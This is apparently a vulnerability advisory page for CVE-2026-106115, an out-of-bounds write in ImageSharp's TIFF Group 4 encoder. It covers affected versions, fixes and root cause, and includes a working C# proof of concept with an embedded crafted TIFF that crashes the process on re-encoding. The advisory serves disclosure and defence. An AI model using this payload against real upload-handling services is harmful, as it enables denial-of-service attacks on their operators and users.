Live › vulnerability › CVE-2026-106115
Go to dashboardImageSharp's TIFF Group 4 (T6) encoder writes beyond its output buffer when encoding a 1-bit image, so re-encoding an attacker-supplied TIFF terminates the process with an unhandled exception. The sources demonstrate a crash; they do not show code execution.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 14:21 UTC, 0h before NVD. All times on this page are UTC.
Applications that accept TIFF uploads, decode them with ImageSharp, and re-encode them with the default TiffEncoder can be hit, because the encoder can inherit CCITT Group 4 and 1-bit settings from decoded frame metadata. Services that never write TIFF output, or that only handle other formats, can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| SixLabors.ImageSharp | nuget | >= 2.1.0, < 3.2.0 | 3.2.0 |
| SixLabors.ImageSharp | nuget | >= 4.0.0, < 4.1.2 | 4.1.2 |
| sixlabors imagesharp | vendor | >= 2.1.0, < 3.2.0 | 3.2.0 |
| sixlabors imagesharp | vendor | >= 4.0.0, < 4.1.2 | 4.1.2 |
dotnet list package in the project and look for SixLabors.ImageSharp below 3.2.0 or in the 4.0.0 to 4.1.1 range.TiffEncoder calls that re-encode decoded TIFF input, especially with inherited CCITT Group 4 metadata.SixLabors.ImageSharp to 3.2.0 on the 3.x line.SixLabors.ImageSharp to 4.1.2 on the 4.x line.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default TiffEncoder terminates the process with an unhandled exception.
SixLabors.ImageSharp (NuGet)>= 2.1.0, <= 4.1.10815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.The T6 compressor was introduced by commit 3c9eb470a07a15012c2a29ad84090dcc804a7975, first released in v2.1.0, with the same Width * rowsPerStrip allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.
TiffCcittCompressor.Initialize allocates Width * rowsPerStrip bytes. A 1×1 strip therefore receives one byte.
After encoding the row, T6BitCompressor.CompressStrip appends two 12-bit EOFB codes. WriteCode writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws ArgumentOutOfRangeException, after the unchecked writes have exceeded the one-byte span.
The default TIFF encoder can inherit CcittGroup4Fax and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.
SixLabors.ImageSharp 4.1.1net8.0No active exploitation is known.
Create a net8.0 project referencing the published 4.1.1 assembly and use this Program.cs:
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");
using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");
using var output = new MemoryStream();
if (mode == "control")
{
image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
image.Save(output, new TiffEncoder());
}
Console.WriteLine($"encoded=True bytes={output.Length}");
Run:
dotnet run -- exploit
dotnet run -- control
The exploit produced exit code 134:
ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)
The control completed with exit code 0:
ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212
One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.
This page as .md · .json · in your agent: get_signal("CVE-2026-106115")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.